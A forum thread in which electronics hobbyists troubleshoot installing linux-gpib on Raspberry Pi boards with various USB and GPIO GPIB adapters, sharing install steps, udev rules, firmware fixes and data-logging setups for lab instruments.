author: dkozel
author_rank: Regular Contributor
timestamp: December 05, 2018, 11:46:40 am
content: Ha, managed to miss this thread completely over the last week while setting up a pi to do 3458A data logging. Oops.As for linux-gpib, I agree that it's been a little involved to get setup. I did a bit of work over the weekend and have made Debian packages for the kernel module and userspace library. I need to make one for the firmware and then do a bit of polishing, but it should be available in the next Debian and Ubuntu releases through apt. Rasbian builds their packages from the Debian repo but since this has a kernel module I'm guessing there'll be some additional work needed.In the meanwhile I'm in the middle of pushing the packages to a PPA so it will be available for at least 16.04 onwards. The link below should work in the next day or so.https://launchpad.net/~dkozel/+archive/ubuntu/linux-gpib

author: philipz
author_rank: Contributor
timestamp: May 06, 2019, 03:42:04 pm
content: Quote from: plesa on August 21, 2017, 05:07:27 pmPlesa, Thank you for you hard work to make this project working.I prepare sdcard today and there is some changes:1. Current version of raspbian is 2019-04-08-raspbian-stretch with kernel 4.14.98+2. linux-gpib-4.0.4 is not available any more. Please, update your script Install_GPIB_Support.sh to downloadhttps://downloads.sourceforge.net/project/linux-gpib/linux-gpib%20for%203.x.x%20and%202.6.x%20kernels/4.1.0/linux-gpib-4.1.0.tar.gzand change according followed commands.3. For script Web_Samba.sh change python-wxglade to wxglade (name was changed). During creation of directory in pub you made small typo and create 'log' instead of 'logs' .I can confirm that this setup working fine with counterfeit 82357B and Raspberry Pi Model B Rev 2 and talk with Amrel PPS 30-2.5 .Note for the other users - don't useCode:sudo rpi-updatebecause it upgrade the kernel to 4.19.37+, but apt-get still download 4.14.98+ source and compilation of linux-gpib finish with errors.

author: branadic
author_rank: Super Contributor
timestamp: July 11, 2019, 01:17:15 pm
content: Hi,with the support of Santa's little helper I was able to get RPi3 up and running with linux-gpib and GPIB-USB-adapter. I can strongly recommend this solution and have to say thanks to the guys that helped not only to get the adapter running, but also snake script controlling GPIB devices and serial interface for my ambient sensors.My tool chain is RPi3 running the Python script in the background, which writes all data I need into a file, Bitwise on my Windows10 laptop to grap latest data via SSH and control RPi and GNU Octave on my Windows machine to visualize data with nice plots. So a complete open source solution/tool chain. I won't become a Python fanboy, but it's doing it's job reliable by now.-branadic-

author: MiDi
author_rank: Frequent Contributor
timestamp: July 11, 2019, 03:12:12 pm
content: Quote from: philipz on May 06, 2019, 03:42:04 pmNEVERdo thisif not needed and unless you know what you are doing:QuoteIf you need to update Kernel(there should be good reasons to do that), this would be recommended:Quote@branadic which Version of Linux-gpib have you installed?

author: branadic
author_rank: Super Contributor
timestamp: July 11, 2019, 04:26:57 pm
content: QuoteLINUX-GPIB 4.2.0 Driver-branadic-

author: MiDi
author_rank: Frequent Contributor
timestamp: July 11, 2019, 04:41:38 pm
content: There are several bug fixes and improvements incurrent (dev) repository, but if you do not encounter any problems with 4.2.0 there is no need to followthe complicated way.

author: picburner
author_rank: Frequent Contributor
timestamp: October 03, 2019, 04:15:51 pm
content: Has anyone tried to install the new Linux-GPIB 4.3.0 drivers?

author: branadic
author_rank: Super Contributor
timestamp: November 14, 2019, 03:26:46 pm
content: Hi,with a little help of a voltnut I got the latest GPIB driver 4.3.0 up and running on a RPi4 with EEPROM update, so power consupmtion and CPU temperature already dropped.A very nice solution for longterm logging and visualization is the installation of the TICK stack (or at least influxdb plus Chronograf), saving time series data such as output of a voltage reference together with ambient sensor data into an influxdb database, a time series database (TSDB). Chronograf can be used to get fast access to the data and to plot them, without any line of code.Here is how you install the stack:https://iotbyhvm.ooo/tick-satck-on-raspberry-pi/I can share python skript and how to's to get it up and running.Simply use a browser, enter the database directly on the system, drag and drop the graphs you need. Or access the data from any other computer in the network with a browser. I have nice little 10" displays 1280x800 all over the place to show what's going on during measurements or inside temperature controlled labs. We now have multiple systems up and running and also added an OPCUA server based on free opc ua (https://github.com/FreeOpcUa) so that data are also available over an industrial standard interface in a bigger network or if you prefer for AI based analysis.It's fairly simple especially for people not experienced with Linux. I strongly recommend this solution and it is running stable.-branadic-

author: notfaded1
author_rank: Frequent Contributor
timestamp: February 29, 2020, 04:46:28 am
content: Quote from: branadic on November 14, 2019, 03:26:46 pmHow has this still been working for you @branadic? I just got raspbian 10 "buster" running with the Keysight 82357B on pi3. I'm looking at the TICK stack link and it looks like good instructions. Is anyone else using and tried this?I went ahead and installed it... figuring it out now. It looks like the connection is refused to webserver port 8083 by default. I'm sure it's security on the pi3.Thnx,B

author: branadic
author_rank: Super Contributor
timestamp: February 29, 2020, 09:31:43 am
content: It works fine for me, though I use the TICK stack only at work. If you like I can share a complete image, with everything set up. It is based on Raspbian buster too. The port for Chronograf is 8888.-branadic-

author: notfaded1
author_rank: Frequent Contributor
timestamp: March 01, 2020, 01:55:03 am
content: That worked when I tried 8888 instead of the other port 8083 I was trying... thanks! I built my image from scratch. I've got the GPIB working with Keysight adapter with a few tips from TiN's blog... thanks Illya!This looks like some totally legit modern data scientist stack to me! The ratings prove that...now I gotta learn this SQL like language and figure out how to ingest the 3458 and see if I can get the USB-PA (BME280) in here too.Bill

author: notfaded1
author_rank: Frequent Contributor
timestamp: March 01, 2020, 02:40:57 am
content: What do you use at home? This is pretty awesome how it works and I'm totally new with this. I see the pi3 machine stats can show up really easily! The dashboards stuff is really sweet.

author: notfaded1
author_rank: Frequent Contributor
timestamp: March 01, 2020, 02:46:08 am
content: Can you share some python scripts you use with 3458 with python and pyvisa? If it can dump to even a csv Chronograf can suck it right in since the TICK stack is a real database wow this is legit... thanks for the tip branadic!Bill

author: notfaded1
author_rank: Frequent Contributor
timestamp: March 01, 2020, 02:48:01 am
content: If I had known before I would have just taken you up on the image but since I've got it all running now... maybe no point? IDK you're the expert here lololol... well you've use this more than me.

author: notfaded1
author_rank: Frequent Contributor
timestamp: March 01, 2020, 05:08:21 am
content: I found the xDevs.com Python test GPIB app script and it's a start. Perhaps if I get a group of scripts together that work I'll make a post about it. TiN's stuff is about the best compilation I've found so far.

author: velik_kazakov
author_rank: Regular Contributor
timestamp: March 05, 2020, 10:03:45 am
content: Quote from: branadic on February 29, 2020, 09:31:43 amBranadic, can you post a python script that you use to write to TICK stack. Thank you in advance!

author: branadic
author_rank: Super Contributor
timestamp: March 05, 2020, 10:42:35 am
content: Attached is an example script, that reads BMP085 and SHT21 via I²C and writes them into an influxdb database.Rename it to *.pyThe script is started with the command line:python AmbientSensors.py -db="your database name" -sn="your measurement series"example:python AmbientSensors.py -db=AmbientData -sn=testYou need to create a database first:1. sudo service inflxudb start2. sudo netstat -lp|grep 8086 --> check if everything is working as expected, port 8086 should be in use3. influx -precision rfc33394. create database "your database name"(show databases and drop database are relevant commands)5. leave the influxdb with "exit"Hope that helps.-branadic-

author: Irv1n
author_rank: Newbie
timestamp: October 31, 2020, 07:50:15 am
content: Quote from: MiDi on December 03, 2018, 12:32:39 amHi everyone!When I try to connect my rpi3 and Agilent gpib on the point 3.2 from this guide I have an error on command ./bootstrap command not foundhave any ideas?

author: maat
author_rank: Regular Contributor
timestamp: October 31, 2020, 08:28:04 am
content: What is the content of your/usr/local/src/linux-gpib-code/linux-gpib-kernel/folder?Never mind. I just checked on my installation. The kernel module only requires amake->sudo make installEdit 2:You might also want to change step 3.3 from.configureto./configure --sysconfdir=/etc

author: alm
author_rank: Super Contributor
timestamp: October 31, 2020, 08:31:43 am
content: Looking at the repository, I don't think the kernel driver uses autoconf (anymore?). For step 3.2, try getting rid of ./bootstrap and ./configure, so just cd ... && make && sudo make install.

author: e61_phil
author_rank: Frequent Contributor
timestamp: December 06, 2020, 12:47:06 pm
content: Hi together,Many thanks to MiDi, with his guide it was very easy to set up a Rapsberry Pi 4 with the Agilent GPIB Adaptor, but...I would like to use both of my Agilent GPIB adaptors as before with windows (I have more than 14 instruments connected with a lot of cable and I had problems by using only a single GPIB bus in the past).I simply added (copied the whole interface section) another interface with minor=1 in the gpib.conflsusb showed the changed IDs, therefore it seems that both adaptors has gotten the firmware. If I connect just one adaptor the LEDs turn into green and it works (ibtest, python etc). As soon as I connect the second one, the LEDs from the first one turn off and the second one becomes green. It doesn't matter which one I connect first, only the latest one is working.Does anyone have experience with that or any idea?Best regardsPhilipp

author: MiDi
author_rank: Frequent Contributor
timestamp: December 06, 2020, 05:09:55 pm
content: Very much appreciated Philipp, glad the guide is helpful.As stated earlier, the guide needs some modifications for new linuxgpib version 4.3 as there were major changes.I would have to dive into it, but at the moment there is not the required spare time for this.If someone would post needed modifications to get it work, I would update the guide.Now to your problem Philipp:Editing /usr/local/etc/hotplug/usb/agilent_82357a seems to do the trick:Code:# Multi-board with serial numbers# Uncomment and edit the code below to setup the serial numbers and minors# that correspond to your system.##case $SERIAL in# A0000001) GPIB_CONFIG_OPTIONS="--minor 0"# ;;# A0000002) GPIB_CONFIG_OPTIONS="--minor 1"# ;;#esac#To get the Serial to replace A0000001 and A0000002 for each device:Code:lsusb -d 0957:0518lsusb -d 0957:0718//Gives e.g.: Bus 001 Device 030: ID 0957:0718 Agilent Technologies, Inc.sudo lsusb -v -s [Device e.g. 030]//do this for each device listed and get the iSerial (e.g.: MX42480527)

author: e61_phil
author_rank: Frequent Contributor
timestamp: December 06, 2020, 07:57:00 pm
content: Hi MiDi,thank you very much for your fast help. Yes, the guide isn't up to date and you cannot just copy and paste the commands, but it leads you very quick to the desired results.It is similiar with your tip: I don't have this hotplug folder, but I edited the 98-gpib-generic.rules (there was already an example).Code:SUBSYSTEM=="usb", ACTION=="add|change", ATTRS{idVendor}=="0957", ATTRS{idProduct}=="0718", ATTRS{serial}=="MY53xxxxx1", ENV{GPIB_CONFIG_OPTIONS}="--minor 0"SUBSYSTEM=="usb", ACTION=="add|change", ATTRS{idVendor}=="0957", ATTRS{idProduct}=="0718", ATTRS{serial}=="MY53xxxxx2", ENV{GPIB_CONFIG_OPTIONS}="--minor 1"That helped with the adaptors itself and both are green now and dmesg is telling me that it attaches one with minor 0 and the other with minor 1, but the rest isn't working anymore. Python3 doesn't connect to any device and even ibtest isn't working anymore.Sounds like a stupid mistake at some point...

author: MiDi
author_rank: Frequent Contributor
timestamp: December 06, 2020, 11:25:38 pm
content: Go through #6 of my guide, hopefully that helps.

author: Irv1n
author_rank: Newbie
timestamp: December 12, 2020, 02:25:42 pm
content: hmmm all working good with ni_usb. But now when I type gpib_config I have this: failed to open device file '/dev/gpib0'main: No such file or directorycan some advice?

author: picburner
author_rank: Frequent Contributor
timestamp: December 12, 2020, 05:10:26 pm
content: Have you made any upgrades lately?If you have upgraded the Kernel you have to repeat the Linux-Gpib installation procedure.

author: wiesl
author_rank: Contributor
timestamp: March 16, 2021, 02:26:28 pm
content: Any new version available?

author: picburner
author_rank: Frequent Contributor
timestamp: March 17, 2021, 07:05:34 am
content: The linux-gpib 4.3.4 version has been released from a while, essential if you have updated to raspberrypi-kernel 1.20210303-1.

author: Dwaine
author_rank: Frequent Contributor
timestamp: April 01, 2021, 05:31:06 pm
content: I just installed it too. Looking at it so I can log some usb devices. Trying to figure out how it works.

author: nitromethane
author_rank: Contributor
timestamp: November 09, 2021, 09:14:08 pm
content: Hi, new guy here.I'm trying to get measurements from my instruments (Keithley 196 and 199) via GPIO based GPIB interface using linux-gpib on a RPi3.So far I've been able to successfully compile linux-gpib software on the Pi and can send valid commands to instruments using the ibtest program.Reading measurements from instruments is where I get stuck.If I try to read using the ibtest program I get timeout error:Code:You can:w(a)it for an eventwrite (c)ommand bytes to bus (system controller only)send (d)evice clear (device only)change remote (e)nable line (system controller only)(g)o to standby (release ATN line, system controller only)send (i)nterface clear (system controller only)ta(k)e control (assert ATN line, system controller only)get bus (l)ine status (board only)go to local (m)odechange end (o)f transmission configuration(q)uit(r)ead stringperform (s)erial poll (device only)change (t)imeout on io operationsrequest ser(v)ice (board only)(w)rite data stringsend group e(x)ecute trigger (device only): renter maximum number of bytes to read :trying to read 1024 bytes from device...received string: ''Number of bytes read: 0gpib status is:ibsta = 0xc100 < ERR TIMO CMPL >iberr= 6EABO 6: Operation abortedibcntl = 0Or if I try to send command bytes, interface clear command, asserting ATN,... I get Bad argument errorsCode:You can:w(a)it for an eventwrite (c)ommand bytes to bus (system controller only)send (d)evice clear (device only)change remote (e)nable line (system controller only)(g)o to standby (release ATN line, system controller only)send (i)nterface clear (system controller only)ta(k)e control (assert ATN line, system controller only)get bus (l)ine status (board only)go to local (m)odechange end (o)f transmission configuration(q)uit(r)ead stringperform (s)erial poll (device only)change (t)imeout on io operationsrequest ser(v)ice (board only)(w)rite data stringsend group e(x)ecute trigger (device only): igpib status is:ibsta = 0x8100 < ERR CMPL >iberr= 4EARG 4: Bad argumentibcntl = 0You can:w(a)it for an eventwrite (c)ommand bytes to bus (system controller only)send (d)evice clear (device only)change remote (e)nable line (system controller only)(g)o to standby (release ATN line, system controller only)send (i)nterface clear (system controller only)ta(k)e control (assert ATN line, system controller only)get bus (l)ine status (board only)go to local (m)odechange end (o)f transmission configuration(q)uit(r)ead stringperform (s)erial poll (device only)change (t)imeout on io operationsrequest ser(v)ice (board only)(w)rite data stringsend group e(x)ecute trigger (device only): kEnter '1' to assert ATN synchronously, or '0' for asynchronously : 1Taking control synchronously...gpib status is:ibsta = 0x8100 < ERR CMPL >iberr= 4EARG 4: Bad argumentibcntl = 0I also tried using Python commands, but with similar results.The interface circuit I use seems to be working fine as I can send commands to instruments just fine and can read measurements from keithleys using an Arduino running AR488 connected to said circuit.I think what I need is just a kick in the right direction to get me rolling forward, so if anyone has any good suggestions, please let me know

author: miro123
author_rank: Frequent Contributor
timestamp: November 13, 2021, 09:39:07 pm
content: does Keithley's work well with AR488?

author: guenthert
author_rank: Frequent Contributor
timestamp: November 14, 2021, 06:25:28 pm
content: Quote from: nitromethane on November 09, 2021, 09:14:08 pmPerhaps I misunderstand, but above looks like the problem is with the communication between linux-gpib <-> GPIO based GPIB adaptor and unrelated to the instrument, doesn't it? Is that a self-made adaptor? Perhaps worth testing with a more common interface (if a PC is available, then an old ISA or PCI based adaptor would be best; on the Pi that's not an option -- there a pricey Agilent or NI USB adaptor might be best) might help locate the problem.

author: nitromethane
author_rank: Contributor
timestamp: November 15, 2021, 09:18:15 pm
content: Basically I'm able to transmit commands, but not receive data back.I'm using a self made GPIB adapter with SN7516x bus drivers wired according to pin definitions in "gpib_bitbang.c" file of the kernel module source (https://sourceforge.net/p/linux-gpib/code/HEAD/tree/trunk/linux-gpib-kernel/drivers/gpib/gpio/gpib_bitbang.c).As a next step I'm going to try bypassing the SN7516x drivers and wiring the GPIB bus directly to RPi's GPIO pins, but haven't found time yet to do so.The same circuit seems to work just fine when connected to an Arduino Micro running AR488 firmware, I'm able to transmit commands and receive data just fine.That rules out problems with instruments, wires and adapter circuit I guess.AR488 firmware seems to work just fine with my Keithley 196 and 199 and the adapter board I made fro the Raspi.At the moment I don't have access to any other working GPIB adapters, but I'm starting to think I should get my self an old PIC adapter from fleabay. Any reliable suggestions?

author: guenthert
author_rank: Frequent Contributor
timestamp: November 16, 2021, 05:28:01 pm
content: Quote from: nitromethane on November 15, 2021, 09:18:15 pmPerhaps I'm interpreting the 'directly' too literally, but keep in mind that the RPi's bus, unlike AVR based Arduinos, is not 5V tolerant.

author: nitromethane
author_rank: Contributor
timestamp: November 16, 2021, 09:24:35 pm
content: According to "Tutorial Description of the Hewlett-Packard Interface Bus", this implementationhttps://github.com/elektronomikon/raspizero_gpib_shield, and poking at the GPIB port with a DMM, I should (??) be safe to wire the RPi directly to the bus.So any way, I deleted the driver ICs wired the GPIB bus to RPi via some 100ohm resistors, and hid behind a brick wall.The good news: RPi is still alive and is able to read data from instruments.The bad news: My circuit sucks for some reason and it's already the 1st revision of the PCB I had madeCode:You can:w(a)it for an eventwrite (c)ommand bytes to bus (system controller only)send (d)evice clear (device only)change remote (e)nable line (system controller only)(g)o to standby (release ATN line, system controller only)send (i)nterface clear (system controller only)ta(k)e control (assert ATN line, system controller only)get bus (l)ine status (board only)go to local (m)odechange end (o)f transmission configuration(q)uit(r)ead stringperform (s)erial poll (device only)change (t)imeout on io operationsrequest ser(v)ice (board only)(w)rite data stringsend group e(x)ecute trigger (device only): renter maximum number of bytes to read :trying to read 1024 bytes from device...received string: 'NDCV+03.38573E+0'Number of bytes read: 18gpib status is:ibsta = 0x2100 < END CMPL >iberr= 0ibcntl = 18I'm attaching the GPIB part of my circuit. The left side connects directly to the RPi GPIORight, back to debugging my circuit...

author: picburner
author_rank: Frequent Contributor
timestamp: November 18, 2021, 08:22:21 am
content: Linux-gpib is only compatible withthis supported hardware.If your hardware isn't on the list it most likely won't work.

author: e61_phil
author_rank: Frequent Contributor
timestamp: November 18, 2021, 08:31:16 am
content: For an own GPIB Apdapter I would recommend building something with an Vxi11 interface. Implementing read and write is sufficient for almost everything and you can then even use pyvisa on top of that.

author: guenthert
author_rank: Frequent Contributor
timestamp: November 18, 2021, 06:44:01 pm
content: Quote from: picburner on November 18, 2021, 08:22:21 amI think nitromethane is shooting for compatibility to the "GPIO bitbang adapter". Seems to be new-ish (started in 2016, most recent modifications spring 2021). I think that's very interesting and would like to see it workIMHO, for a cheap adapter at the tail of a USB cable and directly connecting to a GPBI interface of a single instrument (like e.g. AR488), leaving the bus driver out as a cost-reduction measure seems sensible. When connecting multiple, even old, devices via potentially quite long cables, this seems much more questionable.

author: nitromethane
author_rank: Contributor
timestamp: November 18, 2021, 07:21:48 pm
content: Just to be clear, yes I'm trying to get the Linux-gpib GPIO bitbang driver working with a self made interface circuit with a few extra bits along side the GPIB bus drives.I found the problem with my circuit. DAV, NRFD and NDAC lines on the raspberry side need pull-up resistors.When testing with an Arduino this wasn't an issue since the pull-ups seem to be taken care of inside the MCU, but I was naive in thinking that pull-ups were also taken care inside of the SoC.Now with 10k resistors pulling to 3,3V, my interface circuit finally seems work properly.I'll do a new revision of the circuit (hopefully the last one) and if I'm happy with it, I was thinking of open sourcing the design.

author: e61_phil
author_rank: Frequent Contributor
timestamp: November 19, 2021, 06:56:54 am
content: Quote from: nitromethane on November 18, 2021, 07:21:48 pmWhy not writing an own userlevel "driver"? Linux-GPIB is really a pain and in your case it would be simple to avoid it.

author: nitromethane
author_rank: Contributor
timestamp: November 19, 2021, 09:53:40 pm
content: I was already considering writing my own GPIB bitbang library in python until I got the thing working, which considering this is my first time doing anything GPIB or computer controlled measuring equipment in general would be a big project to say the least.Now I'm almost afraid to ask, but why is linux-gpib a pain?Aside from needing recompiling every time the kernel gets updated the linux-gpib GPIO driver seems to work fine, if the interface circuit is correctly implemented.

author: guenthert
author_rank: Frequent Contributor
timestamp: November 20, 2021, 01:00:28 am
content: Quote from: e61_phil on November 19, 2021, 06:56:54 amSeems to compile and install still (even though it's old) just fine. Where's the pain?And there's some value in partly reusing already tested code instead of inventing the wheel once again and not quite round.

author: perdrix
author_rank: Frequent Contributor
timestamp: November 23, 2021, 12:17:40 pm
content: Will this do the drift measurement for a 3458A as per service note 18A?How do I connect it to GPIB bus? I have NI USB-GPIB-HS/HS+ adaptersThanksDavid

author: nitromethane
author_rank: Contributor
timestamp: December 30, 2021, 05:56:13 pm
content: I finally got my GPIB interface circuit for Raspberry Pi properly working and open sourced the design.forum topic:https://www.eevblog.com/forum/projects/graspib-gpib-interface-for-raspberry-pi/

author: MiDi
author_rank: Frequent Contributor
timestamp: June 29, 2022, 11:19:04 pm
content: Updated the guide for linux-gpib 4.3.4.Alternatives to this guide:https://xdevs.com/doc/xDevs.com/linux_gpib/install_linux_gpib.shfromhttps://xdevs.com/guide/ni_gpib_rpi/orhttps://github.com/PhilippCo/meas_rpifromhttps://www.eevblog.com/forum/metrology/raspberry-pi-for-gpib-and-data-analysis-very-easy-and-fully-equipped/msg3624833/#msg3624833

author: JoeMeta
author_rank: Newbie
timestamp: May 26, 2023, 02:46:35 pm
content: Hi everyone,This thread and the install script were very helpful. However, out of the clipboard it didn't quite work for me. I'm using a Raspberry pi CM4 on the reference I/O expander board. Running Raspbian Bullseye in late May of 2023.Here are the changes / extra steps I did to get it working for my Agilent 82357A GPIB to USB adapter:Add "arm_64bit=0" to ./boot/config.txtAdded "/home/pi/.local/bin" to my path variable to resolve some warnings. The command is:export PATH=$PATH:/home/pi/.local/binadded make clean between the make and make install stepsin step 2 ran the risky kernel upgrade: "sudo apt-get install --reinstall raspberrypi-bootloader raspberrypi-kernel"measat_releaseX1.8.hex doesn't work, put 82357a_fw.hex where measat was going in step 4.2, in my case"/usr/local/share/usb/agilent_82357a"ignored system.map errors when installing the kernel driverreboot between steps - if something doesn't work reboot and try again, then if still not working run "sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade" and reboot again and try again.step 6.1 was neededIn 4.2 the gpib.conf file, board type = agilent_82357aAlso in step 4 if people copy and paste the wget command with the HTML url tags then it will fail to download.I also manually edited the file gpib.conf in step 4 since I wasn't sure if the script would work as intended. Replacing: board_type = "NI HS whatever" with board_type = "agilent_82357a"Also keep in mind 6.2 is still using the measat firmware so it needs to be adjusted before attempting to use it with a Agilent 82357A.Code:Install GPIB on Linux with Agilent USB-GPIB adapter (tested with Raspberry Pi OS Lite 32bit 2022-04-04 Bullseye (5.15.32-v7+) and linux gpib 4.3.4 (r2025) on pi3):Joe Meta's tweaks:Add "arm_64bit=0" to ./boot/config.txt//my path = /home/pi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/gamesexport PATH=$PATH:/home/pi/.local/binecho $PATHadded make clean between the make and make install stepsin step 2 ran the risky kernel upgrade: "sudo apt-get install --reinstall raspberrypi-bootloader raspberrypi-kernel"measat_releaseX1.8.hex doesn't work, put 82357a_fw.hex where measat was going in step 4.2, in my case"/usr/local/share/usb/agilent_82357a"ignore system.map errorsreboot between steps - if something doesn't work reboot and try again, then if still not working run "sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade" and reboot again and try again.step 6.1 was neededSources:https://xdevs.com/guide/agilent_gpib_rpi/https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1301773/#msg1301773https://www.eevblog.com/forum/reviews/using-a-raspberry-pi-with-linux-gpib-and-a-beiming-or-agilent-usb-gpib-adapter/?allhttps://sourceforge.net/p/linux-gpib/code/HEAD/tree/trunk/ -> History1. Preparationsudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade && echo 'Rebooting...' && sudo reboot2. Install Kernel-Headerssudo apt-get install raspberrypi-kernel-headers && [ -d /usr/src/linux-headers-$(uname -r) ] && echo 'kernel-headers installed' || echo 'ERROR: wrong or no kernel-headers installed: '$(ls /usr/src/)', should be '$(uname -r | cut -d+ -f1)//If newer headers are installed, updating kernel could be an option (at your own risk)sudo apt-get update && sudo apt-get install --reinstall raspberrypi-bootloader raspberrypi-kernel//If older headers are installed, we are stuck and have to wait until the newer headers are released3. Install GPIB3.1 Install build-toolssudo apt-get install build-essential texinfo texi2html libcwidget-dev tcl8.6-dev tk8.6-dev libncurses5-dev libx11-dev binutils-dev bison flex libusb-1.0-0 libusb-dev libmpfr-dev libexpat1-dev tofrodos subversion autoconf automake libtool libpython3-dev3.2 Build & install GPIB kernel module //was getting stuck heresudo svn checkout svn://svn.code.sf.net/p/linux-gpib/code/trunk /usr/local/src/linux-gpib-codecd /usr/local/src/linux-gpib-code/linux-gpib-kernel/ && sudo makesudo make cleansudo make install3.3 Build & install GPIB user modulecd /usr/local/src/linux-gpib-code/linux-gpib-user/sudo ./bootstrapsudo ./configuresudo makesudo make cleansudo make install4. Install Agilent 82357a4.1 Get Firmwarecd /usr/local/src/linux-gpib-code/ && sudo apt-get install fxload&&sudo wget https://linux-gpib.sourceforge.io/firmware/gpib_firmware-2008-08-10.tar.gz&&sudo tar xvzf gpib_firmware-2008-08-10.tar.gz&&cd /usr/local/src/linux-gpib-code/gpib_firmware-2008-08-10/agilent_82357a/4.2 Config//adaptersudo nano $(sudo find / -name 'gpib.conf' | grep etc) //new location since r1757 (changed from /etc/gpib.conf to $(sysconfdir)/gpib.conf)-> board_type = "agilent_82357a"//auto download firmware - wrong file, correct location - should use 82357a_fw.hex//sudo cp /usr/local/src/linux-gpib-code/gpib_firmware-2008-08-10/agilent_82357a/measat_releaseX1.8.hex $(sudo find / -type d -name 'agilent_82357a' | grep usb | grep -v gpib)//corrected version:sudo cp /usr/local/src/linux-gpib-code/gpib_firmware-2008-08-10/agilent_82357a/82357a_fw.hex $(sudo find / -type d -name 'agilent_82357a' | grep usb | grep -v gpib)//udev rulessudo cp /usr/local/etc/udev/rules.d/* /etc/udev/rules.d/ //seems that the udev rules are copied to incorrect location - bug in gpib or raspbian? In r1730 everything is fine, in which release does it break?// Grant user permission// Since r1748, group gpib has to be created manuallysudo groupadd gpib// Add user to group - for other user replace 'pi' with name of other usersudo adduser pi gpib5. Finish5.1 Rebootsudo reboot//after reboot, all leds should be lit on the adapter (2x green, red) and finally only one green, if not there is a problem (see 6)//after plug-in the adapter all leds should be lit (2x green, red) and finally only one green, if not there is a problem (see 6)5.2 Test with connected equipment (optional)ibtestd//device idw//after here is device specific, given are examples for HP/Agilent/Keysight devices (tested with 3457A/3458A)END ALWAYSwID?r//prints: HP345xAq //quit6 Trouble-shooting6.1 Test gpib modulelsmod | grep gpib_common//Should give a line back with gpib_common, if not try next stepsudo modprobe gpib_commonlsmod | grep gpib_common//should finish without error & print gpib_common, else gpib is not installed -> try 3. and watch out for errors6.2 Test Adapter (only needed if not all leds are lit)//Load Firmware for testing (latest point to plugin Adapter)cd /usr/local/src/linux-gpib-code/gpib_firmware-2008-08-10/agilent_82357a/lsusb -d 0957:0518 //output: Bus xxx Device yyy: ID 0957:0518 Agilent Technologies, Inc. 82357B GPIB Interfacesudo fxload -t fx2 -D /dev/bus/usb/xxx/yyy -I ./measat_releaseX1.8.hex //1st FW loadlsusb -d 0957:0518 //output: Bus xxx Device zzz: ID 0957:0518 Agilent Technologies, Inc. 82357B GPIB Interfacesudo fxload -t fx2 -D /dev/bus/usb/xxx/zzz -I ./measat_releaseX1.8.hex //2nd FW loadlsusb -d 0957:0718 //output (ID changed to 0957:0718 and all leds 2x green & red on adapter are lit) : Bus xxx Device xyz: ID 0957:0718 Agilent Technologies, Inc.lsmod | grep agilent //output (2 lines): agilent_82357a & gpib_common6.3 Test userspacesudo ldconfig && sudo gpib_config//finish without error, else the configuration is not correct -> 4.2

author: chekhov
author_rank: Regular Contributor
timestamp: May 27, 2023, 09:50:38 am
content: Hi, thanks for your experience, but let me add a few notes:It would be good to maybe tell which issues you had, and why each 'hack' worked out.Quotethat seems to be related with some issues with upgrading to 64-bit kernel version instead of 32-bit if I googled it right, so that's a note for the users of this board, not necessary step for everybody, and likely not for this board either unless they are going to upgrade.Quotequite illogical step I would say, we build everything and then broke everything with a big hummer. I suppose you had built artifacts from previous attempt that's why it didn't 'make' again, so if doing it right it should be "make clean && make && sudo make install"Quoteit looks like you tried to insert driver for wrong kernel or just haven't rebooted to get it match your kernel, or there might be some hidden issue with driver itself, but that's definitely not the recommended behaviorRegarding upgrade - the issue is that by just doing "apt-get install something" you won't install kernel headers for the kernel you are running right now, it will install the latest ones (that your cached pat database knows about), that's why upgrade to newest kernel first before trying all other steps makes sense.Regarding wget argument you are right, it's just a copy-paste, and not a script that is supposed to run copy-pasted. That could be updated.

author: MiDi
author_rank: Frequent Contributor
timestamp: September 25, 2023, 01:19:57 pm
content: Updated the guide for linux-gpib 4.3.6.

author: e61_phil
author_rank: Frequent Contributor
timestamp: September 25, 2023, 03:54:45 pm
content: Thanks to mendip-defender I was also able to update the github repo. It was tested last week with a Raspberry Pi 4

author: electronomicon
author_rank: Contributor
timestamp: November 23, 2023, 08:03:47 am
content: Hi!I hope this is the right place to ask for some help …I’m trying to get the setup from MiDi running on a Raspberry Pi Zero with a Beiming S82357 adapter.I read in the forum that the adapter should be well supported, linux-gpib also lists support, albeit only from firmware version 1.20. Is there a way to check the firmware version of the adapter?The installation works fine, but when I try to run ibtest and connect to a device, it fails:Code:ibtestDo you wish to open a (d)evice or an interface (b)oard?(you probably want to open a device): denter primary gpib address for device you wish to open [0-30]: 1trying to open pad = 1 on /dev/gpib0 ...libgpib: IBOPENDEV ioctl failedlibgpib: error in is_cic()!ibdev erroribsta = 0x8000 < ERR >iberr= 0EDVR 0: OS erroribcntl = 22AbortedI then followed the trouble-shooting guide, whereCode:sudo ldconfig && sudo gpib_configfailed, too:Code:failed to bring board onlinefailed to configure boardmain: Input/output errorI tried uploading the Agilent 82357A driver, despite this being noted not necessary on the linux-gpib supported hardware site, as it seemed to have helped inthis case.Afterwards, gpib_config indeed ran without errors but when I tried to communicate with any device (via ibtest) I always got another error:Code:enter a string to send to your device: *IDN?sending string: *IDN?gpib status is:ibsta = 0xc100 < ERR TIMO CMPL >iberr= 14EBUS 14: Bus erroribcntl = 0My devices run on addresses 1, 2 and 3. I tested the whole setup successfully with the Agilent IO suite on windows.I'm also using a gpib_conf that user bingo600 has noted to work on this adapter:Code:interface {minor = 0/* board index, minor = 0 uses /dev/gpib0, minor = 1 uses /dev/gpib1, etc. */board_type = "agilent_82357a"/* type of interface board being used */name = "usb_gpib"/* optional name, allows you to get a board descriptor using ibfind() */pad = 0/* primary address of interface */sad = 0/* secondary address of interface */timeout = T3s/* timeout for commands */eos = 0xa/* EOS Byte, 0xa is newline and 0xd is carriage return */set-reos = yes/* Terminate read if EOS */set-bin = yes/* Compare EOS 8-bit */set-xeos = no/* Assert EOI whenever EOS byte is sent */set-eot = yes/* Assert EOI with last byte on writes *//* settings for boards that lack plug-n-play capability *//* base = 0 *//* Base io ADDRESS *//* irq = 0 *//* Interrupt request level *//* dma = 0 *//* DMA channel (zero disables) */master = yes/* interface board is system controller */}I tried to get this running the whole day yesterdayand would be really grateful for some help.

author: alm
author_rank: Super Contributor
timestamp: November 23, 2023, 09:44:42 am
